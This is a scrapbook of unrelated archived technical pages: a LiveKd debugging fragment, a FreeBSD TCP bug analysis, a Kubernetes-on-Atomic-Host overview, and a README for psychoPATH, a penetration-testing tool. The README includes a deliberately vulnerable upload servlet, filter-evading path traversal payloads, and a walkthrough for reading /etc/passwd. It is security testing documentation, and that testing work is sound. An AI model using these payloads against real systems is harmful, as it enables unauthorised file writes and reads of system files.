And that’s all there is to it. You can now perform the same commands as you
can when using LiveKd on a native system, listing processes and threads,
dumping memory, and generating crash dump files for later analysis.

The final switch, -p, pauses the virtual machine while LiveKd is connected.
Normally, LiveKd reads pages of physical memory as they’re referenced by the
debugger, which means that different pages can represent different points in
time. That can lead to inconsistencies, for example, when you view a data
structure on a page and then later one the structure references since second
structure might have since been deleted. The pause option simply automates the
Pause operation you can perform in the Hyper-V Virtual Machine management
interface, giving you a frozen-in-time view of the virtual machine while you
poke around.

Have fun debugging virtual machines and please share any troubleshooting
success stories that make use of LiveKd’s new capabilities.

# The tale of a TCP bug - Sec, blogmal\! - tidbits/tcp-bug.story

**Created:**| _3/30/2011 5:56:05 AM_  
---|---  
**Updated:**| _3/30/2011 5:56:17 AM_  
**Author:**| __  
**Tags:**| _network-security programming bughunting_  
  
**The tale of a TCP bug**  

The following post is a bit longish, and details my foray into the BSD TCP/IP
stack debugging and finding what I think is a 15-year old bug.

#### Part 1: Strange behavior

A friend of mine reported a FreeBSD oddity to me - TCP connections from
FreeBSD to a certain \(unknown\) host hung – but only when coming from a 64bit
machine. All appeared to be fine when connecting from a 32bit FreeBSD host.

A few tcpdumps later we found out that the receiving host was misbehaving – It
accepted the TCP connection with a receive window of `0` \(while unusual, this
seems to be a common syncookie implementation\). Practically this means the
sender can never send data unless the receiver sends a window update.

tcpdump up to this point looks like this:

[code]

    10.42.0.25.44852 > 10.42.0.2.1516: Flags [S], 
       seq 3339144437, win 65535, options [...], length 0
    10.42.0.2.1516 > 10.42.0.25.44852: Flags [S.], 
       seq 42, ack 3339144438, win 0, length 0
    10.42.0.25.44852 > 10.42.0.2.1516: Flags [.], 
       seq 1, ack 1, win 65535, length 0
    
    
[/code]

As this window update packet might get lost, TCP resorts to sending so called
"window probe" packets containing one byte of data to see if the receiver
might have opened up his receive window.

\[_Note: this requires at least one byte of data in the send buffer, otherwise
the connection would just be idle._\]

In case the receive window is open, the ACK packet will contain a new window
size, and the connection can proceed as usual.

[code]

    10.42.0.25.44852 > 10.42.0.2.1516: Flags [.], 
       seq 1:2, ack 1, win 65535, length 1
    10.42.0.2.1516 > 10.42.0.25.44852: Flags [.],
       seq 1, ack 2, win 70, length 0
    
    
[/code]

this is theoretically done in tcp\_timer.c:407 that runs whenever the
"persist" timer runs out.

Unfortunately, this doesn't happen on FreeBSD 64bit. Instead, the connection
just sits there and keeps on idling.

#### Digging deeper

At this point I'd like to say thanks to VirtualBox here. Debugging all this
was really helped by the fact that I could easily create both a 32bit and a
64bit virtual machine and quickly recompile testing kernels.

As I had virtually no understanding of the TCP code, I liberally sprinkled it
with printf\(\)sto narrow down where the persist timer was \(not\) enabled,
and then went backwards through the function to find the diverging point.

The culprit was found in tcp\_output.c:564 where **adv** is calculated as:

[code]

    long adv = min(recwin, (long)TCP_MAXWIN << tp->rcv_scale) -
            (tp->rcv_adv - tp->rcv_nxt);
    
    
[/code]

Filling in the numbers from my debugging sessions, this is:

[code]

    min(65536, 65535) - (65579 - 43) = 65535 - 65536 = (-1)
    
    
[/code]

Unfortunately it's only \(-1\) on i386. Due to differing sizes of the
variables involved, this turns out to be 4294967295 \(`=0xffffffff`\) on
amd64.

This lead to a FreeBSD PR: kern/154006 which proposes to change this code to:

[code]

    long adv = min(recwin, (long)TCP_MAXWIN << tp->rcv_scale) -
            (long) (tp->rcv_adv - tp->rcv_nxt);
    
    
[/code]

This code yields \(-1\) on both architectures.

The only reply this PR got, was from Bruce Evans who critiqued my use of a
simple`(long)` cast, which appears to have derailed this PR, sticking it in
the usual "never getting fixed limbo" where unfortunately most of my PR's
appear to end up.

There is actually a precedent for my "simple" cast. Check  
tcp\_output.c:1003

[code]

    if (recwin < (long)(tp->rcv_adv - tp->rcv_nxt))
            recwin = (long)(tp->rcv_adv - tp->rcv_nxt);
    
    
[/code]

But I digress. Sorry.

#### How broken is it?

Looking at the code in question including the comment directly above:

[code]

    /*
     * Compare available window to amount of window
     * known to peer (as advertised window less
     * next expected input).  If the difference is at least two
     * max size segments, or at least 50% of the maximum possible
     * window, then want to send a window update to peer.
     * Skip this if the connection is in T/TCP half-open state.
     * Don't send pure window updates when the peer has closed
     * the connection and won't ever send more data.
     */
    
    
[/code]

It appears that **adv** never was intended to be negative, so I was wondering
if the code was even more broken than it appeared at first glance.

I checked the revision history, but this part is essentially unchanged since
rev 1.1 so I assumed it was all fine and stopped looking, and left it at that
point for a while – secretly hoping that I'd get feedback on my PR, maybe even
a comment from someone with more knowledge of the TCP code.

#### Stevens to the rescue

<img src='img/Temp2_8357.jpg' width='115' height='115' alt='Volume 2' />

This week at work, I stumbled across our full set of TCP/IP Illustrated.
Volume 2 contains the 4.4BSD-Lite network stack source with lengthy
explanations. I checked, and voila on Page 860 \(Section 26.3\) we can find
nearly exact same lines. \(recwin is called win, but it's the same value\)

\[_Note: if you want to follow along, there appear to be several pdf versions
on the net. E.g.here_\]

I've since read most of Chapter 26 "TCP Output", and was reassured that
**adv** is never meant to be negative. It's a measure of how many bytes more
we could receive, even after the other side sent as much data as we already
told them they can send. \(I.e. the maximum receive window the other side
knows about\).

`min(recwin, (long)TCP_MAXWIN << tp->rcv_scale)` is the technical limit of
what we can receive – recwin is the size of the receive buffer, `(TCP_MAXWIN
<< tp->rcv_scale)` is the maximum receive window we can announce \(give that
the scaling option can not be changed during connection lifetime\).

`tp->rcv_nxt` is the sequence number of the maximum received data,
`tp->rcv_adv` the sequence of the maximum announced receive window. If \(as in
our example case\) we never received data, `tp->rcv_adv - tp->rcv_nxt` should
be exactly the size of the receive window we told the opposite host.

Well. At least according to Stevens.

Our debugging clearly shows it to be 65536 while the tcpdump shows a window of
65535. So there is a discrepancy there. Checking the sequence numbers in the
tcpdump output, we see that we got `seq=42` from the remote host, so
`rcv_nxt=43` is what we expect here. But rcv\_adv is too big.

Digging through `tcp_output.c`, we see that `rcv_adv` is set at line 1314

[code]

    tp->rcv_adv = tp->rcv_nxt + recwin;
    
    
[/code]

Adding a debugging statement here confirms that recwin at this point is
correctly = 65535.

#### Mysterious increase

So rcv\_adv must be increased somewhere else, and probably without checking
against the "technical limit" `TCP_MAXWIN << tp->rcv_scale)` and thus putting
the TCP stack in a state not anticipated by the 4.4BSD code.

Searching for other places where rcv\_adv is modified, we find
the`tcp_rcvseqinit(tp)` macro defined in `tcp_seq.h` as:

[code]

    #define tcp_rcvseqinit(tp) \
            (tp)->rcv_adv = (tp)->rcv_nxt = (tp)->irs + 1
    
    
[/code]

and used in `tcp_input.c`. As this sets `rcv_adv` and `rcv_nxt` to the same
value, this can't be our problem.

Looking through `tcp_input.c` however, we find tcp\_input.c:1759

[code]

    tp->rcv_adv += tp->rcv_wnd;
    
    
[/code]

\[_For the record, there is another such line attcp\_syncache.c:789 which
we're currently not interested in._\]

<img src='img/Temp2_8356.jpg' width='94' height='125' alt='Volume 3' />

This part was introduced in r1.11 in 1995 which marked the inclusion ofT/TCP.
in FreeBSD.

Luckily there is a Volume 3 of TCP/IP Illustrated which \(among other things\)
contains a discussion of the T/TCP changes. There we can find the same code in
in Section 11.4 \(page 132 code line 607\). Stevens goes on to note:

|  Set rcv\_adv  
---|---  
607 |  `rcv_adv` is defined as the highest advertised sequence number plus one \(Figure 24.18, p 809 of Volume 2\). But the `tcp_rcvseqinit` macro in Figure 11.4 initialized it to the received sequence number plus one. At this point in the processing, `rcv_wnd` will be the size of the socket's receive buffer, from p. 941 of Volume 2. Therefore, by adding `rcv_wnd` to `rcv_adv`, the latter points just beyond the current receive window. `rcv_adv` must be initialized here because its value is used in the silly window avoidance in`tcp_output` \(p. 879 of Volume 2\). `rcv_adv` is set at the end of `tcp_output`, normally when the first segment is sent \(which in this case would be the server SYN/ACK in response to the client's SYN\). But with T/TCP `rcv_adv`needs to be set the first time through `tcp_output`, since we may be sending data with the first segment that we send.  
Checking this code-path with a quick printf\(\)-test shows that rcv\_wnd at
this point is 65536 which corresponds to the comment by Stevens. And this is
the reason why **adv** can go negative at all.

In my opinion, the code is wrong. It should be using the same `min(recwin,
(long)TCP_MAXWIN << tp->rcv_scale)` -style logic to limit the window to what
it can really advertise.

That would make the correct code something like this:

[code]

    tp->rcv_adv += min(tp->rcv_wnd, (long)TCP_MAXWIN << tp->rcv_scale);
    
    
[/code]

#### What now?

Any network gurus around? I'd be interested in your thoughts on this…

**Update:** I was informed that OpenBSD fixed the calcualation of **adv** in
rev. 1.15 in 1998 while they were making their code 64bit-clean. Kudos to
them.

**Update2:** Interestingly, NetBSD \(and thus OpenBSD\) never picked up the
T/TCP changes, so they aren't actually affected by this particular bug.

– Sec

P.S.: Regardless of this analysis, I still think the PR should be applied,
just on a robustness principle \(Who knows when else **adv** becomes
negative\)...

P.P.S.: If anyone wants to play along, I've created a small scapy `/` python
script to trigger that problem. Before running, you need to make sure your
host doesn't interfere with traffic on that port \(defaults to port `1516`\).
On FreeBSD a simple

[code]

    ipfw add deny ip from any to me 1516
    
    
[/code]

should be enough before you start tcpbug.py.

  

# Kubernetes in Atomic Host — Project Atomic

**Created:**| _1/2/2019 6:40:40 PM_  
---|---  
**Updated:**| _1/2/2019 6:40:40 PM_  
**Author:**| __  
**Tags:**| __  
  

  

# Kubernetes in Atomic Host

Atomic Hosts rely primarily on Kubernetes for automating deployment, scaling,
and operations of application containers across clusters of hosts.

Initially, the Atomic Hosts from Fedora and CentOS shipped with Kubernetes
included in the image by default, but the projects have been moving toward
containerized Kubernetes deployments, with the goal of making it easier to
deploy different versions.

Below is an overview of the state of Kubernetes in Fedora Atomic and CentOS
Atomic, and some information on other installation options.

## Fedora Atomic Host

As of Fedora 25, Kubernetes, as well as Etcd and Flannel, is included in the
default image.

Fedora’s Kubernetes is packaged in three rpms: kubernetes-node \(containing
the kubelet and kube-proxy\), kubernetes-master \(containing the scheduler,
controller-manager, and apiserver\), and kubernetes-client \(containing the
kubectl cli\). Each of master and node components is managed by a systemd
service file included in the rpms.

### Deployment

The simplest and most complete way to bring up a Kubernetes cluster with
Fedora Atomic Host is to use the upstream kubernetes ansible scripts. For a
more manual approach, consult the getting started guide.

Up until late 2016, Fedora’s kubernetes packages were based on a version of
kubernetes adapted from openshift origin, which itself was adapted from
upstream kubernetes. This arrangement led to delays between upstream
kubernetes releases and Fedora’s kubernetes releases. Currently, Fedora’s
kubernetes is based directly on upstream, which has enabled Fedora to
significantly narrow the release gap.

## CentOS Atomic Host

As in Fedora, CentOS’s Kubernetes is packaged in three rpms: kubernetes-node
\(containing the kubelet and kube-proxy\), kubernetes-master \(containing the
scheduler, controller-manager, and apiserver\), and kubernetes-client
\(containing the kubectl cli\). Each of master and node components is managed
by a systemd service file included in the rpms.

The downstream release of CentOS Atomic Host ships without the kubernetes-
master package built into the image. Instead, users are expected to run the
master kubernetes components \(apiserver, scheduler, and controller-manager\)
in containers, managed via systemd, using the service files and instructions
on the CentOS wiki. The containers referenced in these systemd service files
are built in and hosted from the CentOS Community Container Pipeline, based on
Dockerfiles from the CentOS-Dockerfiles repository.

It’s also possible to layer the kubernetes-master package onto the CentOS
Atomic Host image using the command:

[code]

    # rpm-ostree install kubernetes-master --reboot
    
[/code]

Following a reboot, the kubernetes-master package will be installed and will
operate as if it were built into the image, and will persist through future
upgrades.

### Deployment

The simplest and most complete way to bring up a Kubernetes cluster with
CentOS Atomic Host is to use the upstream kubernetes ansible scripts after
first installing the systemd unit files referenced above or installing
kubernetes-master using rpm-ostree install. For a more manual approach,
consult the getting started guide.

CentOS’s kubernetes packages are based on a version of kubernetes adapted from
openshift origin, which itself was adapted from upstream kubernetes. This
arrangement has led to delays between upstream kubernetes releases and
CentOS’s kubernetes releases, but the currently available kubernetes version
in CentOS is fairly up-to-date, at v1.5.2.

## CentOS Atomic Host Alpha/Continuous

The CentOS Atomic SIG produces a second, faster-moving content stream that
combines a base of CentOS packages with an overlay of certain continuously-
built packages pulled from upstream git sources. The packages are built using
a project called rpmdistro-gitoverlay that runs as a Jenkins job within the
CentOS CI infrastructure.

This continuous stream is the vanguard of the effort toward containerized
Kubernetes deployment, and ships without kubernetes, etcd, flannel or the
packages that enable ceph and gluster storage integration on the host.

### Deployment

Deploying kubernetes on a host running the continuous stream involves
replacing the kubernetes components with containers \(see Containerized
Kubernetes, below\) or with rpm-ostree package layering:

[code]

    # rpm-ostree install kubernetes flannel etcd --reboot
    
[/code]

## Containerized Kubernetes

### Using distribution-provided images and rpms

There’s work underway to remove Kubernetes from the image, in favor of a
containerized deployment method. By placing systemd service files that pull
and run Kubernetes containers based on Fedora or CentOS packages into
`/etc/systemd/system` on a host, these containers can serve as a drop-in
replacement for the built-in Kubernetes packages, and should work with the
upstream kubernetes ansible scripts or with the getting started guide.

#### Etcd & Flannel System Containers

It’s also a goal for flannel and etcd to run in containers on Atomic Hosts,
but since flannel needs to modify docker’s configuration to operate, and since
flannel depends on etcd to run, there’s a bit of a chicken and egg situation
when running these as docker containers.

System containers, which can be run independently from the docker daemon,
offer a solution. For drop-in replacement purposes, installation and
configuration of system containers is a bit more complicated than dropping
unit files into `/etc/systemd/system`.

For instance, this command to install etcd as a system container takes care of
creating a systemd unit file, and at the same time wraps in a portion of the
configuration:

[code]

    atomic install --system --set ETCD_ENDPOINTS=http://192.168.122.2:2379 gscrivano/flannel
    
[/code]

The ansible scripts expect to set etcd configuration options by editing config
files on the host. The kubernetes docker images linked above handle this sort
of expectation by mounting the host’s `/etc/kubernetes` directory into the
kubernetes containers, making those configuration files available to the
containers.

The ansible scripts and manual setup steps expect that a host with etcd
installed will have etcdctl installed as well. This application can be run
from within the system container, but must be run as `runc exec -- etcd
/usr/bin/etcdctl` which involves some modification to scripts or setup steps.
It may be worth exploring creating an etcdctl script in `/usr/local/bin/` that
runs etcdctl from within the container to make this simpler.

### Using kubeadm

kubeadm is a tool for more easily deploying kubernetes clusters. kubeadm is
currently in alpha. kubeadm is packaged in rpm form and documented to work
with CentOS 7. The kubeadm rpms provide binaries for the kubelet, kubectl,
kubeadm, and binaries for the kubernetes Container Networking Interface.

kubeadm can make bringing up a cluster as easy as running `kubeadm init` on a
master and then running `kubeadm join --token=<token> <master-ip>` on
additional nodes.

As packaged by the upstream, kubeadm’s kubernetes-cni package wants to place
its binaries in `/opt`, which rpm-ostree does not allow. There have been some
experiments around modifying the packages to use a different location.

### Using other docker-based methods

It’s possible to run kubernetes on an atomic host using upstream-provided
containers run by docker by following this guide.

# PentestLtd/psychoPATH

**Created:**| _5/23/2017 1:04:59 PM_  
---|---  
**Updated:**| _5/24/2017 2:36:58 PM_  
**Author:**| __  
**Tags:**| _web-app-sec security tools pentest_  
  

  

Original work by: Julian H. https://github.com/ewilded/psychoPATH

# psychoPATH - a blind webroot file upload & LFI detection tool

  

## What is psychoPATH?

This tool is a customizable payload generator, initially designed to automate
blind detection of web file upload implementations allowing to write files
into the webroot \(aka document root\). The "blind" aspect is the key here and
is inherent to dynamic testing usually conducted with no access to the source
code or the filesystem.

Shortly after implementation it turned out the tool can also be very handy in
hunting Local File Inclusion aka arbitrary file reading issues involving path
traversal.

This tool helps to discover several kinds of vulnerabilities not detected by
most scanners/payload sets:

  * file upload vulnerable to path traversal with the upload directory located inside the document root
  * file upload vulnerable to path traversal with the upload directory outside the document root
  * file upload not vulnerable to path traversal, but having the upload directory is inside of the document root, with no direct links to the uploaded file exposed by the application
  * local file inclusion/arbitrary file read vulnerable to path traversal with non-recurrent filters involved

## Inisght into the file upload scenarios

At this point, controlling the uploaded file contents/extension is not the
focus. One thing at a time, first we just want to detect if we can upload a
_legitimate_ file anywhere in the webroot.

### 1\) Path traversal + upload dir outside the webroot

Let's consider the following vulnerable Java servlet:

[code]

        private static final String SAVE_DIR = "/tmp";
            protected void doPost(HttpServletRequest request,
            HttpServletResponse response) throws ServletException, IOException {
        String appPath = request.getServletContext().getRealPath("");
        String savePath =  SAVE_DIR;
        File fileSaveDir = new File(savePath);
        if (!fileSaveDir.exists()) {
            fileSaveDir.mkdir(); 
        }
        String full_name=SAVE_DIR;
        for (Part part : request.getParts()) {
            String fileName = extractFileName(part);
            part.write(savePath + File.separator + fileName);
        full_name=savePath + File.separator + fileName;
        }
    
[/code]

The servlet is using user-supplied values as file names \(e.g. ` a.jpg `\). It
stores uploaded files in an upload directory ` /tmp ` located outside the
document root \(let's assume the document root here is
` /var/lib/tomcat8/webapps/uploadbare_traversal_outside_webroot `\).

In order to get our file saved in the document root instead of the default
upload directory, the user-supplied value, instead of benign ` a.jpg `, would
have to look more like
` ./../../../../../../../../../../var/lib/tomcat8/webapps/uploadbare_traversal_outside_webroot/a.jpg `.

Assuming we cannot see any detailed error messages from the application and we
have no access to the file system - all we know is that it is running on
Apache Tomcat and that the URL is
` http://example.org/uploadbare_traversal_outside_webroot `. In order to come
up with this particular payload, we would have to try several possible
document root variants, like:

  * /opt/tomcat8/example
  * /opt/tomcat5/webapps/example.org
  * /var/lib/tomcat6/webapps/uploadbare\_traversal\_outside\_webroot
  * /var/lib/tomcat7/webapps/uploadbare\_traversal\_outside\_webroot
  * /var/lib/tomcat8/webapps/uploadbare\_traversal\_outside\_webroot
  * /opt/tomcat7/webapps/example
  * /opt/tomcat8/webapps/example.org
  * /opt/tomcat6/webapps/uploadbare\_traversal\_outside\_webroot
  * /opt/tomcat7/webapps/example
  * /opt/tomcat8/webapps/example.org
  * /opt/tomcat5/webapps/uploadbare\_traversal\_outside\_webroot \[...\]

and so on. The remote webroot can depend on the platform, version, OS type, OS
version as well as on internal standards within an organisation.

Based on well-known server-specific webroot paths + target hostname + user-
specified variables, psychoPATH attempts to generate a comprehensive list of
all potentially valid paths to use while blindly searching for vulnerable file
upload. This approach was directly inspired by the technique used in ` --os-
shell ` mode in ` sqlmap `.

### 2\) Path traversal + upload dir inside of the webroot

Let's go to our next scenario then, which will be a slightly modified version
of the previous example. The code remains the same, traversal-vulnerable. The
only difference is the configured upload directory. Instead of ` /tmp/ `, we
use
` /var/lib/tomcat8/webapps/uploadbase_traversal_inside_webroot/nowaytofindme/tmp `.

The ` nowaytofindme/tmp ` directory is not explicitly linked by the
application and there is no way to guess it with a dictionary-based
enumeration approach.

Luckily for us, the application is still vulnerable to path traversal. We do
not even need to guess the webroot. The payload to do the trick \(put the file
to ` /var/lib/tomcat8/webapps/uploadbase_traversal_inside_webroot `, so it can
be accessed by requesting
` http://example.org/uploadbase_traversal_inside_webroot/a.jpg ` is simply
` ../../a.jpg `.

### 3\) No path traversal + upload dir inside the webroot

The third example is not vulnerable to path traversal. The upload directory is
located in the webroot \(` logs/tmp ` ->
` /var/lib/tomcat8/webapps/uploadbase_traversal_inside_webroot/logs/tmp `\).
We already know it exists, supposedly among multiple other directories, like
` javascript/ `, ` css/ ` or ` images/ ` \- but we would not normally suspect
any of these could be the actual upload directory \(no directory listing + the
uploaded file is not explicitly linked by the application\).

So, the payload is simply ` a.jpg `. The file \(or its copy\) is put under
` logs/tmp/a.jpg ` \- but no sane person would search for the file they just
uploaded in a directory/subdirectory called ` logs/tmp `. psychoPATH is not a
sane person.

### Other possible issues with traversal-vulnerable cases

There might be another vulnerable, hard to discover variant of a file upload
function prone to path traversal. Both traversal cases described above would
not get detected if there was no +w permission on the webroot
\(` /var/lib/tomcat8/webapps/uploadbare_traversal_outside_webroot ` and
` /var/lib/tomcat8/webapps/uploadbare_traversal_inside_webroot `,
respectively\). The only spark of hope here is that any of the subdirectories,
like ` images/ `, has such permission enabled. This is why all the directories
inside the webroot are also worth shooting at explicitly, leading to payloads
like
` ./../../../../../../../../var/lib/tomcat8/uploadbare_traversal_inside_webroot/images/a.jpg `
or ` ./../images/a.jpg `.

### Are any of these upload scenarios even likely?

Not very \(although all met in the wild, they are just quite rare\), this is
why it appeared sensible to automate the entire check.

Speaking of path traversal, _most_ of today's frameworks and languages are
path traversal-proof. Still, sometimes they are not used properly. When it
comes to languages, they usually \(e.g. PHP\) strip any path sequences from
the standard variable holding the POST-ed file \(` Content-Disposition: form-
data; name="file"; filename="test.jpg" `\), still it is quite frequent the
application is using another user-supplied variable to rename the file after
upload \(and this is our likely-successful injection point\).

When it comes to uploading files to hidden/not explicitly linked directories
in the document root \(those explicitly linked like ` Your file is here: <a
href='uploads/a.jpg'>uploads/a.jpg</a> ` are trivial to find, no tools
needed\), it is usually a result of weird development practices and/or some
forgotten 'temporary' code put together for testing - and never removed.
Still, it happens and it is being missed, as, again, no sane person would
think of e.g. searching for the file they just uploaded in a webroot
subdirectory called ` logs/tmp `.

## The algorithm

The following is a general algorithm we employ to perform blind detection of
any of the cases mentioned above:

  * upload a legitimate file that is accepted by the application \(a benign filename, extension, format and size\) - we want to avoid false negatives due to any additional validation checks performed by the application
  * estimate the possible potentially valid webroots, including their variants with webroot-located subdirectories and path traversal payloads \(both relative, like ` ../../a.jpg ` and absolute, like ` ./../../../var/lib/tomcat6/webapps/servletname/a.jpg `, ` ./../../../var/lib/tomcat6/webapps/servletname/img/a.jpg ` and so on\) - this step is automated and customizable
  * attempt to upload the file using all the payloads from the step above, placing a unique string in each file we attempt to upload \(this step is automated and customizable as well\)
  * search for the uploaded file by attempting GETs to all known directories in the webroot, e.g. http://example.org/a.jpg, http://example.org/img/a.jpg and so on \(this step is automated as well\)
  * if we find the file in any of the locations, we look into its contents to identify the unique string \(payload mark\), so we can track down the successful payload

## The evasive payloads

The basic traversal payload is ` ../ `, or more generally
` <DOT><DOT><SLASH> ` \(a holder-based approach will become handy once Windows
support + encodings are involved\).

The following are the potential bypassable filter scenarios:

  1. removing only ` ../ `
  2. removing only ` ./ `
  3. removing ` ../ ` and then ` ./ `
  4. removing ` ./ ` and then ` ../ `

This applies both to file uploading and file reading \(LFI\), please see the
psychoPATH usage - LFI hunting section for more details. A filter removing all
occurrences of ` .. ` or ` / ` does not seem to be bypassable \(please let me
know if I am wrong\).

` ....//....//....//....//....//....//....//....// ` -> rm ` ../ `->
` ../../../../../../../../ ` OK

` ...//...//...//...//...//...//...//...//...// ` -> rm ` ./ ` ->
` ../../../../../../../../../ ` OK

` .....///.....///.....///.....///.....///.....///...../// ` -> rm ` ../ ` ->
` ...//...//...//...//...//...//...// ` -> rm ` ./ ` ->
` ../../../../../../../ ` OK

` .....///.....///.....///.....///.....///.....///...../// ` -> rm ` ./ ` ->
` ....//....//....//....//....//....//....// ` -> rm ` ../ ` ->
` ../../../../../../../ ` OK

So, we only need three evasive payloads:

  * ` ....// `
  * ` ...// `
  * ` ...../// `

## Webroot-guessing - optimization

To reduce the eventual number of payloads, by default the tool does not
prepend the same document root with traversal strings which differ only in the
number of the traversal sequences they consist of \(e.g. ` ../ ` vs ` ../../ `
vs ` ../../../ `\) - as these are redundant when used with absolute paths.
Instead, only the longest variant is used, e.g.
` .....///.....///.....///.....///.....///.....///.....///var/lib/tomcat8/webapps/upload `.
This significantly reduces the number of payloads sent. It might, however, be
an issue - if the variable we are injecting into is somehow limited on its
length, e.g. application rejects any values longer than 45 characters and the
upload directory is ` /tmp ` \- in that case
` .....///var/lib/tomcat8/webapps/upload ` would do the trick instead. If you
are worried about the payload length and you care less about the number of
payloads, turn optimization off.

## psychoPATH usage - hunting uploads in the dark

The extension interface consists of several lists of elements used to build
permutations of all potentially valid payloads: <img src='img/first_run.png'
width='888' height='124' alt='Demo Screenshot' /> The \{TARGET\} holder is
automatically replaced with elements from the Targets list, by default
containing the Host header of the target. If the hostname is a subdomain, e.g.
foo.bar.example.org, it will automatically be propagated into several possible
target values, like ` foo `, ` bar `, ` example ` and ` foo.bar.example.org `.

All the lists can be manually adjusted by using relevant Paste, Load, Remove
and Add buttons.

The Doc roots lists offer several sub-groups: <img
src='img/docroot_groups.png' width='719' height='436' alt='Demo Screenshot' />

By default, all sub-groups are included as basic payload-building units.

First, we perform a legitimate upload request to the target application. Then
we right-click on the relevant request and click ` Propagate to psychoPATH `
context menu button: <img src='img/propagate.png' width='888' height='829'
alt='Demo Screenshot' />

This is required to let the plugin know about the target host and protocol, so
it can adjust the payloads with the relevant information from the site map
\(like the host or the directories from the site map\) - please note the
changed list of Suffixes and Targets after propagation: <img
src='img/after_propagation.png' width='888' height='329' alt='Demo Screenshot'
/>

Now we send the request to Intruder. We set the attack type to Pitchfork. Then
we need to select two payload holders. One is the file name value we are about
to inject into. The other is just a section in the uploaded file content -
this is where the unique payload mark will be put. Currently payload marks
have fixed length of 7 characters. When injecting into image formats, the
safest way is to mark exactly seven characters of a string - e.g. a piece of
exif data. This way we won't encounter false negatives if the application is
checking the validity of the image file before putting it into the upload
directory of our interest: <img src='img/intruder_attack_setup.png'
width='888' height='630' alt='Demo Screenshot' />

Then we move to the Payloads tab. For the first payload, we change the type
from "Simple list" to "Extension generated". We choose the "Path traversal"
extension generator. We UNCHECK the the default "URL-encode these characters"
box: <img src='img/payload_one_setting.png' width='888' height='743' alt='Demo
Screenshot' />

Then we proceed to the second payload set \(the payload mark\). For the first
payload, we change the type from "Simple list" to "Extension generated". We
choose the "Payload marker" extension generator: <img
src='img/payload_two_setting.png' width='888' height='546' alt='Demo
Screenshot' />

We hit the "Start attack" button and watch the results. <img
src='img/results_0.png' width='888' height='531' alt='Demo Screenshot' />

It might be handy to sort the responses by the status code/any other property
of the server's response: <img src='img/results_1.png' width='888'
height='575' alt='Demo Screenshot' />

According to the sorted output, the application responded differently to
several payloads which either refered to ` var/lib/tomcat8/webapps ` directory
\(which was the valid base document root in this case\) or did not use any
traversal combinations at all. Still, sometimes the response we receive might
not give us any hints \(entirely blind scanario\).

We keep the Intruder attack window open and proceed to the verification phase
\(searching the entire site map for the file we uploaded\).

In order to do this, we simply take a valid, preferably authenticated GET
request to the application and send it to Intruder. We select the URI section
as the only payload holder: <img src='img/verification_step1.png' width='888'
height='270' alt='Demo Screenshot' />

In the Payloads section, again we change from "Simple" to "Extension
generated". This time we choose "Directory checker" as the payload generator.
We UNCHECK the the default "URL-encode these characters" box: <img
src='img/verification_step2.png' width='888' height='602' alt='Demo
Screenshot' />

We hit the "Start attack" button and watch the results \(now we are explicitly
interested in getting "200 OK" response\). Normally there would be a bit more,
like ten or few dozens of site map-derived directories queried, in the example
below it's just one \(` uploadbare_traversal_outside_webroot `\): <img
src='img/verification_step3.png' width='888' height='595' alt='Demo
Screenshot' />

As we can see, the file has been created under
` uploadbare_traversal_outside_webroot/a.jpg `. By looking at the payload
marker spot, we can identify 585 as the number of the golden payload. We look
back to the Intruder attack and search for the request with Payload 2 equal to
585: <img src='img/verification_step4.png' width='888' height='755' alt='Demo
Screenshot' />

Now we know the golden payload to reach the document root was
` ./../../../../../../..//var/lib/tomcat8/webapps//uploadbare_traversal_outside_webroot/a.jpg `.

For other two examples, the results for the payloads that have worked, would
look as follows, respectively: /uploadbare\_traversal\_inside\_webroot: <img
src='img/verification_case_2_step_1.png' width='888' height='489' alt='Demo
Screenshot' /> <img src='img/verification_case_2_step_2.png' width='888'
height='496' alt='Demo Screenshot' /> <img
src='img/verification_case_2_step_3.png' width='888' height='705' alt='Demo
Screenshot' />

/uploadbare\_no\_traversal\_inside\_webroot: <img
src='img/verification_case_3_step_1.png' width='888' height='484' alt='Demo
Screenshot' /> <img src='img/verification_case_3_step_2.png' width='888'
height='738' alt='Demo Screenshot' /> <img
src='img/verification_case_3_step_3.png' width='888' height='537' alt='Demo
Screenshot' />

## psychoPATH usage - hunting LFI

The Path traversal generator can be easily used for hunting Local File
Inclusion/arbitrary file reading issues as well - and it's much simpler than
hunting uploads. The test\_cases/LFI directory contains three vulnerable PHP
scripts, reflecting the non-recurrent filter cases broken down in the "evasive
payloads" section.

Below is a short presentation on how all three can be quickly detected with
the payloads provided by psychoPATH. First screenshot shows us the response of
the script when a benign string ` foo ` is provided under the ` file `
variable. No content is returned: <img src='img/lfi_hunting_one_1.png'
width='888' height='258' alt='Demo Screenshot' />

We send the request to Intruder and mark the injection point: <img
src='img/lfi_hunting_one_2.png' width='888' height='323' alt='Demo Screenshot'
/> We choose ` Extension generated ` ` Path traversal ` payload type. Please
not unchecking the ` URL-encode these characters ` \- as a matter of fact the
most reliable approach is to test each input like this twice - with and
without URL-encoding: <img src='img/lfi_hunting_one_3.png' width='888'
height='710' alt='Demo Screenshot' />

Then we move to the psychoPATH configuration panel. We choose the file name,
for instance ` /etc/passwd `. We clear the web roots, targets and suffixes
list, as we are nog going to need them to perform this attack: <img
src='img/lfi_hunting_one_4.png' width='888' height='138' alt='Demo Screenshot'
/> We simply run "Start attack" and watch how each of the evasive techniques
works on its corresponding vulnerable case: <img
src='img/lfi_hunting_one_5.png' width='888' height='735' alt='Demo Screenshot'
/> <img src='img/lfi_hunting_two.png' width='888' height='716' alt='Demo
Screenshot' /> <img src='img/lfi_hunting_three.png' width='888' height='583'
alt='Demo Screenshot' />

## The perl script

Initially this tool was developed as a perl script - which is still available,
although no longer maintained at the moment.

### TODO

  * test on different resolution, make sure the project is easily runnable/importable
  * separate apache-like suffixes from the main list, they are there by default and do not go away once other than all/apache webroot set is picked
  * more examples of test cases
  * test evasive techniques involving the windows \ backslash in different environments
  * Nice-to-haves:
  * implement windows support
  * add a "Copy to clipboard" button for generated payloads, so the output payloads can be used with other tools
  * add support for ZIP traversals
  * extend the tool with extension control mode \(defeating the filters in order to upload an executable - different tricks depending on the platform\)??
  * in case of a positive result, automatically track back the payload that did the trick \(instead of the dir check mode?\)

  

# Declassified Crypto Logs

**Created:**| _7/5/2013 8:49:46 AM_  
---|---  
**Updated:**| _7/28/2013 7:54:59 AM_  
**Author:**| _wishi_  
**Tags:**| _crypto intelligence awesome_  
  

<img src='img/cryptolog_126.pdf' />  
  

# The Grey Corner: Windows Buffer Overflow Tutorial: Dealing with Character
Translation

**Created:**| _4/10/2011 11:40:48 AM_  
---|---  
**Updated:**| _4/10/2011 11:40:48 AM_  
**Author:**| __  
